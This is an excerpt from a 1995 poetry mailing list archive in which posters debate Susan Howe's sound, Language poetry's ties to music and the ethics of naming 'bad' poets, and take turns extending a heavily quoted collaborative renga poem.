Differences--those too. I hear that Dana Gioia is putting together a NF anthology that does not include Dick Allen, a founder member. A bit like an LP anthology without Silliman, Bernstein, Watten, Andrews, or whomever.

One more thought on Susan Howe. I have no desire whatever to resurrect the soul/spirit thread: but surely ("surely") one reason that the Apex of the M-ers take Howe and John Taggart as models is that there's a strong sense of the spiritual (however unconventionally defined) in both writers, and that this is one point of difference between them and many so-called so-called so-called so-

called so-called Language writers. And no, I'm not going to try and define "spiritual."

David Bromige writes that the most charged points for him in reading even writers that he cares about are those points "where interest and disaffection war" in his reading. This seems to me a good summary of how Bob approaches the writers in Trouble with Genius.

Maria, everyone knows that a Porsche Spyder is one of those little creatures that builds yts web on the inside of your Porsche wyndeshield whyn you leave said Porsche to gather dyst in the garage too long.

Talking of too long . . .

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669. Alan Golding
Oh shit, it's him again
Tue 22 Aug 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

This post is much shorter. Promise.

Just wanted to let you all know that the keynote speakers are in place for the Twentieth-Century Lit. Conference. The keynote creative speaker will be fiction writer Stephen Wright; the keynote critical (uncreative?) speaker will be Rachel Blau DuPlessis. Rachel will also do a poetry reading. We may also get be able to set up a talk by Patrick O'Donnell, editor of Modern Fiction Studies and a good writer on pomo. fiction, but that's not confirmed.

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670. Alan Sondheim
Re: favourite care word: "you"
Tue 22 Aug 1995

---

rev test > tast; sort tast > tost; rev tast > tyst
eliminate arrowed lines

> > > >>>>>>>>>>> kook!"
> > > >>>>>>>>>>> denied for not knowing how credenza was meant) &
> > > > oh,ho,
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> > > >>>>>>>>> In the books were dreams and in the dreams were books.
> > > > prescienc

> > > >>>>>>>>>>and in the u-turns were bookmobiles rounding angles considered
> > > >>>>>>>flawlessly, flutes sing genderless in trio, surprised
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> > > >>>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
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> > > >>>>>>>>>>> falling like a counterirritant around the manchineel. Likewise
> > > > > chose
> > > >>>>>>>>>>> gives gracious problem: fanatical snacks, landscape of angel steeped in angelology deeper than rilke's or blake's, by virtue of
> > > >>>>>>>>>>> All melded like striated film leftover in the pastel seeds of
> > > >>>>>>>>>shrill as pine left in the acres to be aging
> > > >>>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
> > > >>>>>>>>>>> And flew through windows, lightning green and fine morning
> > > >>>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
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> > > >>>>petals free of names that rain across known skin forgotten
> > > >>>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on
> > > >>>>>>>>>>> of subject's object status, violent transformation
> > > >>>>>>>>>>>   (inspection

> > > >>>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > >>>>>>>>>>> but narrow in the waist or waspish Sunday years ago
> > > >>>>>>>>>>> mountains away but it wasn't, you know, a big tango
> > to tapioca, from brown space to hot chocolate, from Republican to
> > > >>with customs planted in them to retract what almost fastens onto
> > > >>>>>>by how quiet effort really is or is not, fast enough to sleep
> > > >>>>>>>>>>> First inverted whistle of a cardinal in the poplar
> dr
> > > >>>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter
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> > > >>>>>>>>>>> Flaubert because we're waiting all throughout eternity for
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> > > >>>>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
> > > >>>>>through thunderstorms, arm over thigh until light shakes
> > > >>hooks
> > > >>>>>>>>>>> warehouse, curls
> > > >>>>>>>>>>> of such suchness. In the nooks were creams and in the streams
> > > >>>>>>>>>>> cleaners
> > > >>>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
> > > > darkness
> > > >>>>>>>>>>> no ideas but the woven fabric the texture so to speak was at
> > > > > soft
> > > >>>other than prints, trace free of cloth, slow memory night
> > > > fruit
> > > > > moment
> > > > as blessed glass retracts whatever mule the heart
> > y
> > > >>>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently
> > > >the unhinged wing of night's stern and contracted falsity

↑ Index

671. H. T. KIRBY-SMITH
Language Poetry and Music
Tue 22 Aug 1995

A lot of American poetry--poetry anywhere, for that matter--seems to grow out of music in some way or another. As everyone points out, Dickinson's poems are kin to the hymns she heard as a girl in Amherst; Whitman is regularly compared to biblical phrasing which itself was an effort at rendering in English qualities of Hebrew cantillation; and Langaston Hughes used Blues and jazz as a basis for some poems. There's a whole book that argues that one can explain everything in Whitman in terms of opera.

Cage's methods seem too mechanical to me to have had much effect on other people's poetry (besides his own). I was wondering if there is any musical tradition, and composer, any kind of music that one can connect with Language Poetry.

I always think of Stravinsky when I read The Waste Land--Pound and Amy Lowell had been preaching Stravinsky as a model.

Any help on this?

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

672. Gale Nelson
Michael Hareper's Titles
Tue 22 Aug 1995

Michael Harper is a University Professor here at Brown, and lives in Providence. His most recent book of poems is _Healing Song for the Inner Ear._ Others include _Images of Kin_ (for which he won the Melville-Cane Award); _Dear John, Dear Coltraine_; _History is Your Own Heartbeat_ (winner of the 1978 Black Academy of Arts and Letters Award); _Nightmare Begins Responsibility_; and _Debridement._ A new collection seems to be in the works. I have to confess to finding _Debridement_ the most remarkable of the texts -- the role of history seeps in in disturbing, challenging ways.

↑ Index

673. **Ryan Knighton**
Re: Language Poetry and Music
Tue 22 Aug 1995

Well, my roomate and I went to a local spot called the Glass Slipper for what was to be a Telepoetics hookup with Toronto. ONe of the readers was Catriona Strang, a local language poet, and she performed a few pieces of her alphabet with musical accompanyment. It was piano, clarinet and stand-up bass which was either used as a tonal context or punctuation. I think her husband was the clarinet player, known for playing two at once. I'm still not too sure what I think of it, though. A lot of the time it seemed to be music miming the delivery of words. Angular jarring tires me after a while. But, then again, this is a simplification.

↑ Index

674. **Jordan Davis.**
favorite moities in moire
Tue 22 Aug 1995

> >>>>>>>> In the books were dreams and in the dreams were books.
> >>>>>>>>>> And flew through windows, lightning green and fine morning
> >>>>>>>>>> First inverted whistle of a cardinal in the poplar
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> >>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
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> >>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
> >>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
> >>>>>>>>>> bleached ribcage ripcorded into compassed wind
> >>>>>>>>>> kissing the weatherwoman between her breasts as she
> >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
> >>>>>>>>>> flicka my best friend and the storm in the glass of water's
> >>>>>>>>>> halfway pertinent incision we keep making safe for ignorance
> >>>>>>>>>>   (inspection
> >>>>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
> >>>>>>>>>> pockets in small furniture intended house sequentially several
> >>>>>>>>>> mountains away but it wasn't, you know, a big tango
> >>>>>>>>>> when the attorney general came, selah hales said, "Dias,

oh,ho,
> >>>>>>>>>>>   kook!"
> >>>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof"
Tobacco
> >>>>>>>>>>>   warehouse, curls
> >>>>>>>>>>> no ideas but the woven fabric the texture so to speak was at
the
dry
> >>>>>>>>>>>   cleaners
> >>>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on
prescience
> >>>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
> >>>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter
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> encore
> >>>>>>>>>>> Flaubert because we're waiting all throughout eternity for
moments
> >>to be
> >>>>>>>>>>> of such suchness. In the nooks were creams and in the
streams
were
> >>hooks
> >>>.
> >>>>>>>>>>> All melded like striated film leftover in the pastel seeds of
> darkness
> >>>>>>>>>>> falling like a counterirritant around the manchineel.
Likewise
> >>>>>>>>>>> sandpaper juxtaposed with seasoned instruments and
recently soft
> fruit
> >>>>>>>>>>> of subject's object status, violent transformation
> >>>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
> >>>>>>>>>>and in the u-turns were bookmobiles rounding angles
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> >>>>>>>>>shrill as pine left in the acres to be aging
> >>>>>>>>flawlessly, flutes sing genderless in trio, surprised
> >>>>>>by how quiet effort really is or is not, fast enough to sleep
> >>>>>through thunderstorms, arm over thigh until light shakes
> >>>>petals free of names that rain across known skin forgotten
> >>>other than prints, trace free of cloth, slow memory night
> >>with customs planted in them to retract what almost fastens onto
> >the unhinged wing of night's stern and contracted falsity

> as blessed glass retracts whatever mule the heart
> beats. In the ensuing silence, her eyes turn from white space
and silos yield rainbows. Combines circle the outlying
and rigging it, as we drop the clipboards and come running

↑ Index

675. **Jordan Davis.**
mormon in the armoire
Tue 22 Aug 1995

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>> >>>>>>>>>> And flew through windows, lightning green and fine morning
>> >>>>>>>>>> First inverted whistle of a cardinal in the poplar
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>> >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
>> >>>>>>>>>> flicka my best friend and the storm in the glass of water's
>> >>>>>>>>>> halfway pertinent incision we keep making safe for ignorance
>> >>>>>>>>>>   (inspection
>> >>>>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
>> >>>>>>>>>> pockets in small furniture intended house sequentially several
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>> >>>>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
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>> >>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> >>>>>>>>>>   warehouse, curls
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>> >>with customs planted in them to retract what almost fastens onto
>> >the unhinged wing of night's stern and contracted falsity
>> as blessed glass retracts whatever mule the heart
> beats. In the ensuing silence, her eyes turn from white space
to a purer white described without even a thought and carried to another
plasm, another phone call from the regional director

↑ Index

676. **Jordan Davis.**
Padgett's Definition
Tue 22 Aug 1995

>> >>>>>>>>> In the books were dreams and in the dreams were books.
>> >>>>>>>>>> And flew through windows, lightning green and fine morning
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>> >>>>>>>>>> bleached ribcage ripcorded into compassed wind
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>> >>>>>>>>>> warehouse, curls
>> >>>>>>>>>> no ideas but the woven fabric the texture so to speak was at
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>dry
>> >>>>>>>>>> cleaners
>> >>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on

>prescience
>> >>>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
>> >>>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose
>> encore
>> >>>>>>>>>>> Flaubert because we're waiting all throughout eternity for
>moments
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>> darkness
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>> >>>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently
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>> >>>>>through thunderstorms, arm over thigh until light shakes
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>> >>>other than prints, trace free of cloth, slow memory night
>> >>with customs planted in them to retract what almost fastens onto
>> >the unhinged wing of night's stern and contracted falsity
>> as blessed glass retracts whatever mule the heart
>> beats. In the ensuing silence, her eyes turn from white space
>and silos yield rainbows. Combines circle the outlying
premises as substantive as crayons now confused with thought
balloons rising prominently from the ears of giraffes

↑ Index

677. Jordan Davis.
Re: troubles with genius/floors of congress
Tue 22 Aug 1995

Mr Silliman Could you speak to the stickiness, for your generation, of value? Had there been previously a kind of exchange value in the poetry business? I'll trade you a mint Eliot for two Yvor Winters and a Robert Silliman Hillyer? -- What makes discourse possible is _exclusion_ from the venn diagram?

Prof Perloff
re: games
What is there besides critical assessment (offhand or otherwise)? Is there some transhistorical solution to the problem of a poetry of complexity for everybody? Yes. Also, I'm going to end the war in Vietnam.

List at large
Is there really an avantgarde tradition in North America totally unaware of Wallace Stevens?

Willa J
How do I sign up for the Bernadette Mayer fanclub?

Your fan

↑ Index

678. Charles Alexander
How Hear Howe?
Tue 22 Aug 1995

For Rae & Alan

I must admit to going back and forth a bit in my admiration of Susan Howe's work. But it has been the visual, spiritual (I don't want to define that either, Alan), and historical elements in her work which have attracted me most deeply, although at times have attracted some argument as well. The sound of the work, however, has always been problematic to me. I would find it impossible to defend your statement, Rae, that "She has as good an ear as anyone ever has had." So if you or Alan might comment on how you hear her, how that ear shows itself, what informs her ear, I would love to hear (sorry) such discussion. And, to somewhat contradict what I've just said, I do admit that there are some marvelously sounded pages in Articulation of Sound Forms in Time (I'm thinking particularly of the four pages beginning with "rest chondriacal lunacy / velc cello viable toil / quench conch uncannunc / drumm amonoosuck ythian", but in general it is still not the sound of Howe which makes me read her work, as it is with any number of other writers, including you, Rae.

all best,

charles alexander [==========^^==========]
[<>]
chax press [maybe a <> pages]
[time <> letters]
phone & fax: [redacted] [upon <> frames]
[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

679. **Charles Alexander**

Re: favourite care word: "you"

Tue 22 Aug 1995

On Tue, 22 Aug 1995 09:26:46 -0500,
maria damon <[redacted]> wrote:

>In message <[redacted]> UB Poetics discussion group
>writes:
>> > [D
>> >> >>>>>>>> In the books were dreams and in the dreams were books.
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>> >> >>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
>> >> >>>>>>>>>> bleached ribcage ripcorded into compassed wind
>> >> >>>>>>>>>> kissing the weatherwoman between her breasts as she
>> >> >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
>> >> >>>>>>>>>> flicka my best friend and the storm in the glass of water's
>> >> >>>>>>>>>> halfway pertinent incision we keep making safe for

ignorance
>> >> >>>>>>>>>>> (inspection
>> >> >>>>>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
>> >> >>>>>>>>>>> pockets in small furniture intended house sequentially several
>> >> >>>>>>>>>>> mountains away but it wasn't, you know, a big tango
>> >> >>>>>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
>> >> >>>>>>>>>>> kook!"
>> >> >>>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> >> >>>>>>>>>>> warehouse, curls
>> >> >>>>>>>>>>> no ideas but the woven fabric the texture so to speak was at
>> > > the
>> >dry
>> >> >>>>>>>>>>> cleaners
>> >> >>>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on
>> >prescience
>> >> >>>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
>> >> >>>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose
>> >> encore
>> >> >>>>>>>>>>> Flaubert because we're waiting all throughout eternity for
>> >moments
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>> >> >>>>>>>>>>> All melded like striated film leftover in the pastel seeds of
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>> >> fruit
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>> >> >>>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
>> >> >>>>>>>>>>and in the u-turns were bookmobiles rounding angles considered
>> >> >>>>>>>>>shrill as pine left in the acres to be aging
>> >> >>>>>>>>flawlessly, flutes sing genderless in trio, surprised
>> >> >>>>>>by how quiet effort really is or is not, fast enough to sleep
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>> >> >the unhinged wing of night's stern and contracted falsity
>> >> as blessed glass retracts whatever mule the heart
>> >> beats. In the ensuing silence, her eyes turn from white space
>> >and silos yield rainbows. Combines circle the outlying
>> premises as substantive as crayons now confused with thought
>whose rainbows rival cosmic immensities to the tune of
I'm not biting on this, Maria, no matter how you sing it

↑ Index

680. Louis Cabri

same post, attempt #3

Tue 22 Aug 1995

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flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to
go ahead
and dance, composing instead of straining muscles, far eyes
out, transplanted organs speak, the idiom

↑ Index

681. **Robert Drake**
Re: movies abt poetry
Tue 22 Aug 1995

> *others i shd know about? recommended?*

am always happy to recommend chris mann's "poetry in motion"-- the long angelic closeup of bp nichol at th end of the 4 horsemen piece is worth th price of admission, as also baraka's "wailers"...

luigi

↑ Index

682. **Rae Armantrout**
Re: How Hear Howe?
Tue 22 Aug 1995

Dear Charles,

Yours is a difficult - probably impossible - question for me to answer well (given that I'm not going to take the time to get one of her books and analyze its sound patterns). All I can say is that when I see one of her poems I delight in reading it out loud to myself. I'm sure this involves the usual suspects: assonance, consonance, cadence, etc. Of course, I'm interested in the historical contexts her work invokes. As everyone knows, she's interested in historical elisions and effacements. Somehow the look and sound of her poems not only suits but dramatizes these issues (for me). This is what happens on the page (to get back to the point Ron raised). I feel like everything I'm saying is a cliche. Form fitting content, etc. And, apart from that, I can't believe we're being asked by these Formalists (old or new) to prove that "free verse" is poetry. Are we caught in some sort of time warp here? Do we really have anything to prove to these Cap-L people? Well, I'm getting long-winded. Gotta go.

Rae

↑ Index

683. **Sheila E. Murphy**
Re: favourite care word: "you"
Tue 22 Aug 1995

>On Tue, 22 Aug 1995, maria damon wrote:
>
>> In message <[redacted]> UB Poetics
discussion gro
>up

>> writes:
>> > > [D
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>> > >> as blessed glass retracts whatever mule the heart
>> > >> beats. In the ensuing silence, her eyes turn from white space
>> > >and silos yield rainbows. Combines circle the outlying
>> > premises as substantive as crayons now confused with thought
>> whose rainbows rival cosmic immensities to the tune of
>> attitude problems? Dust off the dark wood and make your choice
between the glove and a beneathive place where tiny places mood themselves

↑ Index

684. Louis Cabri

favourite bar word: jug

Tue 22 Aug 1995

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kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best mare and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
    (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho,
    kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
    warehouse, curls
no ideas but the woven fabric the texture so to speak was at the

dry cleaners
piping hot and gloved-in somewhere unsalted, perched on
prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose
encore
Flaubert because we're waiting all throughout eternity for
moments to be
of such suchness. In the nooks were creams and in the streams
were hooks.
All melded like striated film leftover in the pastel seeds of
darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft
fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
other than prints, trace free of cloth, slow memory night
with customs planted in them to retract what almost fastens onto
the unhinged wing of night's stern and contracted falsity
as blessed glass retracts whatever mule the heart
beats. In the ensuing silence, her eyes turn from white space
to tapioca, from brown space to hot chocolate, from Republican to
ranchland desserts fried in fat. Thus "abstract" art & poetry
became increasingly

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685. Louis Cabri

Re: combines

Tue 22 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds

The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
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as blessed glass retracts whatever mule the heart
beats. In the ensuing silence, her eyes turn from white space
and silos yield rainbows. Combines circle the outlying
regions where tongues were cut, women raped, no one had the right
to speak
that side of the Thomson-owned newspaper - which ripped as the
ring-pierced tongue pushed through to

↑ Index

686. **Rod Smith**
Re: How Hear Howe?
Tue 22 Aug 1995

I've had a thought to write something for some time called "Hearing Oppen Reading Howe"-- early on in my poetry (self)educaytion I had a tape of Oppen but no books by him, & a copy of _Pythagorean Silence_ which I heard as I read in Oppen's cadence-- it still seems to me to flow that way."That way" being the way Oppen read his post-Numerous work. I don't hear SH's other work that way-- seems to me she has a fine ear & the best way to decide if you think so is to hear her read. Anyone have tapes? I've heard her once, wonderful music & very theatrical as well. --Rod

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687. **Rod Smith**
Re: Language Poetry and Music
Tue 22 Aug 1995

This info. is likely known to many on the list tho certainly not all-- a few direct connections to music re l.p.-- The Rova Saxophone Quartet (let's call it "new music")-- Lyn Hejinian is wed to a member, Larry Ochs. Carla Harryman was their manager (or something like that) for many years. Strongly recommend a recent recording of theirs called _Pipe Dreams_. Also, Bruce Andrews' significant one is dancer Sally Silvers, they have worked together w/ many newmusic sorts including John Zorn, Bruce often composes music for Sally's company. L.H. knows Zorn well, as does Tom Mandel I believe. I once asked Lyn what music she listened to when she writes, she sd she doesn't, which surprised me, as I almost always do-- the Benedetti tapes of Bird are a favorite.

Also, just to say, to characterize Cage as "mechanical" seems to me to show a lack of knowledge of his work-- which is fine, but I felt a necessity to say that. The number of questions he had to ask for any given piece as well as the artistic skill he brought to the act of composing were anything but "mechanical." Also, Ashbery, O'Hara, Berrigan, others I'm sure, have stated the importance of his music to their work. --Rod

H.T.Kirby-Smith wrote:
>Cage's methods seem too mechanical to me to have had much effect on
>other people's poetry (besides his own). I was wondering if there is
>any musical tradition, and composer, any kind of music that one can
>connect with Language Poetry.

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688. **Maria Damon**

Re: mormon in the armoire

Tue 22 Aug 1995

In message <[redacted]> UB Poetics discussion
group writes:
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> the dr
> >y
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> >> as blessed glass retracts whatever mule the heart
> > beats. In the ensuing silence, her eyes turn from white space
> to a purer white described without even a thought and carried to another
> plasm, another phone call from the regional director
of miasmal blankness, white to the core of whiteness only

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689. Maria Damon
Re: favourite care word: "you"
Tue 22 Aug 1995

In message <[redacted]> UB Poetics discussion group writes:
> On Tue, 22 Aug 1995 09:26:46 -0500,
> maria damon <[redacted]> wrote:
>
> >In message <[redacted]> UB Poetics discussion
> > grou
> p
> >writes:
> >> > [D
> >> >> >>>>>>>>> In the books were dreams and in the dreams were books.
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> >> >> >>>>>>>>>> denied for not knowing how credenza was meant) &
> > > > neo-colonizing
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> > > > several
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> >> >dry
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> >> >> >>>>>>>>>>> of such suchness. In the nooks were creams and in the
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> >> >> >>>>>>>>>>> All melded like striated film leftover in the pastel seeds
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> >> >> >the unhinged wing of night's stern and contracted falsity
> >> >> as blessed glass retracts whatever mule the heart
> >> >> beats. In the ensuing silence, her eyes turn from white space
> >> >and silos yield rainbows. Combines circle the outlying
> >> premises as substantive as crayons now confused with thought
> >whose rainbows rival cosmic immensities to the tune of
> I'm not biting on this, Maria, no matter how you sing it
oy, i get reprimanded in public for my lines, my worst POETICS nightmare

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690. **Susan E. Dunn**
pardon my formalism
Tue 22 Aug 1995

Ryan Knighton's *Inevitable Renga* (and Maria Damon's additions) is the first piece I've seen in my relatively recent time on the list that has played with the medium of the screen - the first cyberrenga. I don't read the rengas because, I don't have the time (I vote for a separate renga discussion list to spare those of us with limited time in cyberspace) and I find their aura of competative cleverness anxiety producing. But I'm the nervous sort. Plus the rengas are practically unreadable on my grad-school-vintage-late-eighties 286 pc with a teeny tiny black&white screen. I did see the rengas once on a lovely 17-inch color Sun Microsystems Monitor and the added lines were lighted up in green and it seemed really nifty. So in some ways they are rather technologically/economically privileged poems -- after all, they are for those who have access to this technology not to mention Spiders and Volvos however ironically alluded to. Anyways, the renga content (or what I've skimmed of them) seems to have a rather hard-copy understanding of form. Seems funny that, paradoxically, the net gives us a wider access to a narrower audience and--as the technology stands today--the net provides us with a medium that both expands the page and (visually and economically) contracts its readability.

Which brings me to Susan Howe, whose poetry is hardly tepid on the page (for me) as the Awede edition of Articulation of Sound Forms is one example of powerful use of typography and visual poetics. Despite the purported bravery of "naming names" I have to question this desire to prove ourselves as critics by flexing our critical muscles and citing examples of what we consider to be *inferior* poetry. I agree with Chris S that there is the question of whether we are "debunking what has yet to be bunked". While I am not a "Creative Writing 101 it's good if you think its good" relativist, I do have to question this adversarial model (so fashionable in academia) in which we show our intellectual prowess by saying something is weak (I like to think of this as the Beavis and Butthead *this sucks/this rules* model of criticism.) This seems part of the same school that believes that the purpose of having a discussion is to change someone's mind (I'm right/you're wrong). It's not that we can't talk about *quality* per se its just that coughing up an example of a *bad* experimental writer does not seem to be an especially interesting way to illustrate that we are discerning critics. After all, being dismissive of a critic/poet/*name* says more about one's position of power than it says about one's critical faculties. It's a kind of jostling for position. That's the game, isn't it? Or maybe I'm just pissy after having to trod through too many rengaposts.

I can't help but think, however, that Susan Howe would be amused at her role in this discussion as the Anne Hutchinsonesque sacraficial *text* -- the

monstrous body that disconnects/relies on powers beyond the confines of accepted references -- that is held up as a scapegoat for Corn-as-Puritan-father demanding that we eject our demons and name names.

Susan E. Dunn [redacted] "The chief and primary cause of this rapid increase in nervousness is *Modern Civilization* which is distinguished from the ancient by these five characteristics: the steam engine, the telegraph, the sciences, the periodical press, and the mental activity of women." - George Beard *American Nervousness* 1881

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691. **Brian McHale**

Re: Michael Hareper's Titles

Tue 22 Aug 1995

How exciting to read Gale Nelson's good words for Harper's "Debridement"! an undervalued & underread book. I thought I was its only devotee. Especially its title sequence, which (in my eyes at least) looks stronger & stronger as the years pass.

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692. **Sheila E. Murphy**

Re: mormon in the armoire

Wed 23 Aug 1995

>In message <[redacted]> UB Poetics discussion
>group writes:
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>> to a purer white described without even a thought and carried to another
>> plasm, another phone call from the regional director
>of miasmal blankness, white to the core of whiteness only
wafts to the color in principio which self erases

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693. **Thomas Bell**
Re: favourite care word: "you"
Wed 23 Aug 1995

Alan Sondheim wrote

On Mon, 21 Aug 1995, Thomas Bell wrote:

> [D
> > >>>>>>>> In the books were dreams and in the dreams were books.
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>> and silos yield rainbows. Combines circle the outlying
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icial facing the end or the impetus toward a new renga about

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694. Louis Cabri
favourite critical word: poetry
Wed 23 Aug 1995

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oy, i get reprimanded in public for my lines, my worst POETICS
    nightmare
for critic to talk to critic must first triangulate the poem as
    overly rich or plain it's

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695. **George Bowering**

Re: combines

Wed 23 Aug 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her coffee breaks as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *(inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho,*
> *kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco*
> *warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the*
> *dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on*
> *prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*

> *the odor day toy a cello day dis chevys a bo coo daughter chose*
> *encore*
> *Flaubert because we're waiting all throughout eternity for*
> *moments to be*
> *of such suchness. In the nooks were creams and in the streams*
> *were hooks.*
> *All melded like striated film leftover in the pastel seeds of*
> *darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft*
> *fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *other than prints, trace free of cloth, slow memory night*
> *with customs planted in them to retract what almost fastens onto*
> *the unhinged wing of night's stern and contracted falsity*
> *as blessed glass retracts whatever mule the heart*
> *beats. In the ensuing silence, her eyes turn from white space*
> *and silos yield rainbows. Combines circle the outlying*
> *regions where tongues were cut, women raped, no one had the right*
> *to speak*
> *that side of the Thomson-owned newspaper - which ripped as the*
> *ring-pierced tongue pushed through to*
> *the box scores, Kevin Mitchell went three for four against*

↑ Index

696. **George Bowering**

Re: Language Poetry and Music

Wed 23 Aug 1995

The reed player that Ryan was referring to at the Catriona Strang reading was Francois Houle, who does some amazing things with clarinet and saxes. You should hear his sax quartet blasting fast for a 1.5 hour set in a bar some time.

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697. George Bowering
Re: Language Poetry and Music
Wed 23 Aug 1995

It would seem to make sense that language poetry (some) in its refusal or reluctance to refer, would be akin to music, which looks more naturally to that freedom. But then language poetry's wordiness is not, to the ear that ascribes "music" to the lyric, vert musical at all.

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698. George Bowering
Re: favourite care word: "you"
Wed 23 Aug 1995

> *In message <[redacted]> UB Poetics discussion group*
> *writes:*
> >
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical sacks, landscape of*
> *flicka my best mare and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *(inspection*
> *denied for not knowing how credenza was meant) &*
> *neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias,*
> *oh,ho,*
> *kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco*
> *warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at*
> *the*
> *dr*

> *y*
> *cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on*
> *prescienc*
> *e*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter*
> *chose*
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> *Flaubert because we're waiting throughout eternity for*
> *moment*
> *s*
> *to be*
> *of such suchness. In the nooks were creams and in the streams*
> *wer*
> *e*
> *hooks*
> *.*
